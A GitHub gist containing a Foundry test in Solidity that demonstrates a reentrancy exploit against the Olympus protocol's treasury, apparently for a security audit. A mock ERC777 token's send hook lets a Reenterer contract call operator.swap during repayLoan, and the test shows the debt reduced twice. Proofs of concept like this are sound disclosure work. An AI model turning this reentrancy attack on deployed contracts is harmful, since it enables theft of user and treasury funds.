Skip to content

Instantly share code, notes, and snippets.

@zzzitron
Created September 1, 2022 11:18
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save zzzitron/651e1451ac1ff21be8a72b502b26f7cb to your computer and use it in GitHub Desktop.
Save zzzitron/651e1451ac1ff21be8a72b502b26f7cb to your computer and use it in GitHub Desktop.
2022-08-olympus poc to reenter
// SPDX-License-Identifier: Unlicense
pragma solidity >=0.8.0;
import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {UserFactory} from "test/lib/UserFactory.sol";
import {BondFixedTermCDA} from "test/lib/bonds/BondFixedTermCDA.sol";
import {BondAggregator} from "test/lib/bonds/BondAggregator.sol";
import {BondFixedTermTeller} from "test/lib/bonds/BondFixedTermTeller.sol";
import {RolesAuthority, Authority as SolmateAuthority} from "solmate/auth/authorities/RolesAuthority.sol";
import {ModuleTestFixtureGenerator} from "test/lib/ModuleTestFixtureGenerator.sol";
import {MockERC20, ERC20} from "solmate/test/utils/mocks/MockERC20.sol";
import {MockPrice} from "test/mocks/MockPrice.sol";
import {IBondAuctioneer} from "interfaces/IBondAuctioneer.sol";
import {IBondAggregator} from "interfaces/IBondAggregator.sol";
import {FullMath} from "libraries/FullMath.sol";
import "src/Kernel.sol";
import {OlympusRange} from "modules/RANGE.sol";
import {OlympusTreasury} from "modules/TRSRY.sol";
import {OlympusMinter, OHM} from "modules/MINTR.sol";
import {Operator} from "policies/Operator.sol";
import {BondCallback} from "policies/BondCallback.sol";
import {TreasuryCustodian} from "src/policies/TreasuryCustodian.sol";
contract MockERC777 is MockERC20 {
constructor () MockERC20("ERC777", "777", 18) {}
function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
_callTokenToSend(from, to, amount);
return super.transferFrom(from, to, amount);
// _callTokenReceived(from, to, amount);
}
// simplified implementation for ERC777
function _callTokenToSend(address from, address to, uint256 amount) private {
if (from != address(0)) {
IERC777Sender(from).tokensToSend(from, to, amount);
}
}
}
interface IERC777Sender {
function tokensToSend(address from, address to, uint256 amount) external;
}
contract Reenterer is IERC777Sender {
ERC20 public token;
Operator public operator;
bool public entered;
constructor(address token_, Operator op_) {
token = ERC20(token_);
operator = op_;
}
function tokensToSend(address from, address to, uint256 amount) external override {
if (!entered) {
// call swap from reenter
// which will manipulate the balance of treasury
entered = true;
operator.swap(token, 1e17, 0);
}
}
function attack(OlympusTreasury treasury) public {
// approve to the treasury
token.approve(address(treasury), 1e18);
token.approve(address(operator), 100* 1e18);
// repayDebt of 1e17
treasury.repayLoan(token, 1e17);
}
}
contract MockOhm is ERC20 {
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) ERC20(_name, _symbol, _decimals) {}
function mint(address to, uint256 value) public virtual {
_mint(to, value);
}
function burnFrom(address from, uint256 value) public virtual {
_burn(from, value);
}
}
// solhint-disable-next-line max-states-count
contract PocReenterTest is Test {
using FullMath for uint256;
using ModuleTestFixtureGenerator for OlympusTreasury;
UserFactory public userCreator;
address internal alice;
address internal bob;
address internal guardian;
address internal policy;
address internal heart;
RolesAuthority internal auth;
BondAggregator internal aggregator;
BondFixedTermTeller internal teller;
BondFixedTermCDA internal auctioneer;
MockOhm internal ohm;
MockERC20 internal reserve;
Kernel internal kernel;
MockPrice internal price;
OlympusRange internal range;
OlympusTreasury internal treasury;
OlympusMinter internal minter;
MockERC20 public ngmi;
Operator internal operator;
BondCallback internal callback;
TreasuryCustodian internal custodian;
Reenterer internal reenterer;
function setUp() public {
vm.warp(51 * 365 * 24 * 60 * 60); // Set timestamp at roughly Jan 1, 2021 (51 years since Unix epoch)
userCreator = new UserFactory();
{
/// Deploy bond system to test against
address[] memory users = userCreator.create(5);
alice = users[0];
bob = users[1];
guardian = users[2];
policy = users[3];
heart = users[4];
auth = new RolesAuthority(guardian, SolmateAuthority(address(0)));
/// Deploy the bond system
aggregator = new BondAggregator(guardian, auth);
teller = new BondFixedTermTeller(guardian, aggregator, guardian, auth);
auctioneer = new BondFixedTermCDA(teller, aggregator, guardian, auth);
/// Register auctioneer on the bond system
vm.prank(guardian);
aggregator.registerAuctioneer(auctioneer);
}
{
/// Deploy mock tokens
ohm = new MockOhm("Olympus", "OHM", 9);
// use ERC777 kind of token as reserve
reserve = MockERC20(new MockERC777());
}
{
/// Deploy kernel
kernel = new Kernel(); // this contract will be the executor
/// Deploy modules (some mocks)
price = new MockPrice(kernel, uint48(8 hours));
range = new OlympusRange(
kernel,
[ERC20(ohm), ERC20(reserve)],
[uint256(100), uint256(1000), uint256(2000)]
);
treasury = new OlympusTreasury(kernel);
minter = new OlympusMinter(kernel, address(ohm));
/// Configure mocks
price.setMovingAverage(100 * 1e18);
price.setLastPrice(100 * 1e18);
price.setDecimals(18);
}
{
/// Deploy bond callback
callback = new BondCallback(kernel, IBondAggregator(address(aggregator)), ohm);
/// Deploy operator
operator = new Operator(
kernel,
IBondAuctioneer(address(auctioneer)),
callback,
[ERC20(ohm), ERC20(reserve)],
[
uint32(2000), // cushionFactor
uint32(5 days), // duration
uint32(100_000), // debtBuffer
uint32(1 hours), // depositInterval
uint32(1000), // reserveFactor
uint32(1 hours), // regenWait
uint32(5), // regenThreshold
uint32(7) // regenObserve
]
);
/// Registor operator to create bond markets with a callback
vm.prank(guardian);
auctioneer.setCallbackAuthStatus(address(operator), true);
/// Deploy treasury custodian
custodian = new TreasuryCustodian(kernel);
}
{
/// Initialize system and kernel
/// Install modules
kernel.executeAction(Actions.InstallModule, address(price));
kernel.executeAction(Actions.InstallModule, address(range));
kernel.executeAction(Actions.InstallModule, address(treasury));
kernel.executeAction(Actions.InstallModule, address(minter));
/// Approve policies
kernel.executeAction(Actions.ActivatePolicy, address(operator));
kernel.executeAction(Actions.ActivatePolicy, address(callback));
kernel.executeAction(Actions.ActivatePolicy, address(custodian));
}
{
/// Configure access control
/// Operator roles
kernel.grantRole(toRole("operator_operate"), address(heart));
kernel.grantRole(toRole("operator_operate"), guardian);
kernel.grantRole(toRole("operator_reporter"), address(callback));
kernel.grantRole(toRole("operator_policy"), policy);
kernel.grantRole(toRole("operator_admin"), guardian);
/// Bond callback roles
kernel.grantRole(toRole("callback_whitelist"), address(operator));
kernel.grantRole(toRole("callback_whitelist"), guardian);
kernel.grantRole(toRole("callback_admin"), guardian);
/// treasury custodian role
kernel.grantRole(toRole("custodian"), address(this));
}
/// Set operator on the callback
vm.prank(guardian);
callback.setOperator(operator);
// Mint tokens to users and treasury for testing
uint256 testOhm = 1_000_000 * 1e9;
uint256 testReserve = 1_000_000 * 1e18;
ohm.mint(alice, testOhm * 20);
reserve.mint(alice, testReserve * 20);
reserve.mint(address(treasury), testReserve * 100);
// Approve the operator and bond teller for the tokens to swap
vm.prank(alice);
ohm.approve(address(operator), testOhm * 20);
vm.prank(alice);
reserve.approve(address(operator), testReserve * 20);
vm.prank(alice);
ohm.approve(address(teller), testOhm * 20);
vm.prank(alice);
reserve.approve(address(teller), testReserve * 20);
/// set debt
{
reenterer = new Reenterer(address(reserve), operator);
custodian.increaseDebt(reserve, address(reenterer), 1e18);
}
}
function test_poc__reenter() public {
vm.prank(guardian);
operator.initialize();
reserve.mint(address(reenterer), 1e18);
assertEq(treasury.reserveDebt(reserve, address(reenterer)), 1e18);
// start repayLoan
reenterer.attack(treasury);
// it should be 9 * 1e17 but it is 8 * 1e17
assertEq(treasury.reserveDebt(reserve, address(reenterer)), 8*1e17);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment